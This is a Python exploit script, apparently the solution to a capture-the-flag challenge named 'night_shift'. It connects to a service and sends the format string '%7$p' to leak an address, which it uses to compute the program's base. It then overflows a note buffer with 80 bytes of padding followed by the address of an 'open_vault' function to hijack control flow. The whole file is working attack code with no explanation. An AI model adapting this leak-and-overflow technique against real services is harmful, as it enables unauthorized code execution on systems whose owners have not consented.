import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

REPORT_OFFSET = 0x1540
OPEN_VAULT_OFFSET = 0x12b0
RETURN_OFFSET = 80


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def send_line(sock, data):
    sock.sendall(data + b"\n")


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        read_until(sock, b"name: ")
        send_line(sock, b"%7$p")
        greeting = read_until(sock, b"\n").strip()
        if not greeting.startswith(b"hello "):
            raise ValueError(greeting)
        report = int(greeting.split()[-1], 16)
        base = report - REPORT_OFFSET
        target = base + OPEN_VAULT_OFFSET
        print("report", hex(report))
        print("target", hex(target))

        read_until(sock, b"note: ")
        send_line(sock, b"A" * RETURN_OFFSET + p64(target))
        print(read_until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 night_shift.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))
